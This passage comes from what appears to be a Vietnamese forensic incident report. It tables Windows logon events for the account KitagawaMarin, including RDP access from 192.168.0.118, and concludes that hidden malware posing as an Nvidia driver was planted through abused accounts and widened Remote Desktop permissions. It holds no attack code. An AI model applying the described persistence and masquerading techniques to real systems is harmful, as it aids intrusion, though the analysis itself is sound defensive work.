</table>
### Security Security Events for User KitagawaMarin
<table border="1">
<thead>
<tr>
<th>Sự Kiện</th>
<th>Mô Tả</th>
<th>Thời Gian (UTC)</th>
<th>Người Thực Hiện</th>
<th>Chi Tiết Bổ Sung</th>
</tr>
</thead>
<tbody>
<tr>
<td>EventID 4624</td>
<td>Đăng nhập thành công</td>
<td>2024-08-23T03:28:44.0056137Z</td>
<td>KitagawaMarin</td>
<td>Đăng nhập mạng (Logon Type 3), từ địa chỉ IP 192.168.0.118, qua máy trạm JUMP-WINDOWS.</td>
</tr>
<tr>
<td>EventID 4798</td>
<td>Liệt kê thành viên nhóm của tài khoản người dùng</td>
<td>2024-08-23T03:28:46.7607232Z</td>
<td>DESKTOP-2C3IQHO$</td>
<td>Máy tính cục bộ khởi tạo sự kiện; Tiến trình C:\Windows\System32\LogonUI.exe.</td>
</tr>
<tr>
<td>EventID 4648</td>
<td>Đăng nhập với thông tin xác thực khác</td>
<td>2024-08-23T03:28:46.8422235Z</td>
<td>DESKTOP-2C3IQHO$</td>
<td>Sử dụng thông tin xác thực khác từ IP 192.168.0.118; Tiến trình C:\Windows\System32\svchost.exe.</td>
</tr>
<tr>
<td>EventID 4624</td>
<td>Đăng nhập thành công</td>
<td>2024-08-23T03:28:46.8422518Z</td>
<td>KitagawaMarin</td>
<td>Đăng nhập từ xa (Logon Type 10), qua RDP từ IP 192.168.0.118; Tiến trình svchost.exe.</td>
</tr>
<tr>
<td>EventID 4624</td>
<td>Đăng nhập thành công</td>
<td>2024-08-23T03:28:46.8422752Z</td>
<td>KitagawaMarin</td>
<td>Đăng nhập từ xa (Logon Type 10), qua RDP; Tiến trình svchost.exe.</td>
</tr>
<tr>
<td>EventID 4672</td>
<td>Đặc quyền đặc biệt được cấp trong quá trình đăng nhập</td>
<td>2024-08-23T03:28:46.8422866Z</td>
<td>KitagawaMarin</td>
<td>Các đặc quyền bảo mật cao cấp được cấp cho tài khoản KitagawaMarin.</td>
</tr>
</tbody>
</table>
## Kết Luận
### Mã độc xâm nhập hệ thống
Dựa trên các sự kiện và thông tin về mã độc, có thể rút ra một số kết luận quan trọng như sau:
- **Hoạt động của người dùng `KitagawaMarin`**: Các sự kiện hệ thống ghi nhận hoạt động của người dùng `KitagawaMarin`, với nhiều lần đăng nhập và tương tác từ địa chỉ IP `192.168.0.118`, thông qua **Remote Desktop Protocol (RDP)**, hoặc có vẻ như từ một máy tính trong mạng nội bộ. Tuy nhiên, khả năng cao nhất vẫn là kẻ tấn công đã sử dụng **RDP** để truy cập vào máy và truyền mã độc đến một đường dẫn đặc biệt.
- **Vị trí phát hiện mã độc**: Mã độc được phát hiện tại đường dẫn `C:\Users\KitagawaMarin\AppData\Roaming\Nvidia\NvidiaGraphicDriver.exe`, với thuộc tính ẩn, cho thấy đây là một phần mềm độc hại có thể đã được cài đặt với mục đích che giấu hoạt động của nó. Tên tệp này giả mạo phần mềm trình điều khiển đồ họa của **Nvidia**, nhằm làm cho người dùng không nghi ngờ về sự tồn tại của mã độc.
- **Kỹ thuật lẩn trốn của mã độc**: Việc mã độc được đặt trong thư mục **Roaming** và bị ẩn cho thấy nó được thiết kế để lẩn trốn và có thể tự khởi động cùng hệ thống hoặc khi người dùng đăng nhập. Những hoạt động đăng nhập ghi nhận trong sự kiện hệ thống có thể là các bước nhằm kiểm tra hoặc thực hiện các hành động không mong muốn.
### Các con đường mã độc có thể đã xâm nhập vào hệ thống:
1. **Tài khoản người dùng mới tạo và kích hoạt lại**: Tài khoản `KitagawaMarin` được tạo, kích hoạt, và sử dụng để đăng nhập từ xa với các quyền cao cấp.
2. **Nhóm Remote Desktop Users**: Mở rộng quyền truy cập từ xa bằng cách thêm "Everyone" và tài khoản `KitagawaMarin` vào nhóm này.
3. **Địa chỉ IP không xác định**: Kẻ tấn công đăng nhập từ địa chỉ IP `192.168.0.118` sử dụng tài khoản có quyền cao cấp hoặc thông tin xác thực khác.
Các dấu hiệu này cho thấy hệ thống đã bị xâm nhập qua nhiều kênh, đặc biệt là thông qua các tài khoản người dùng bị lạm dụng và thiết lập quyền truy cập từ xa.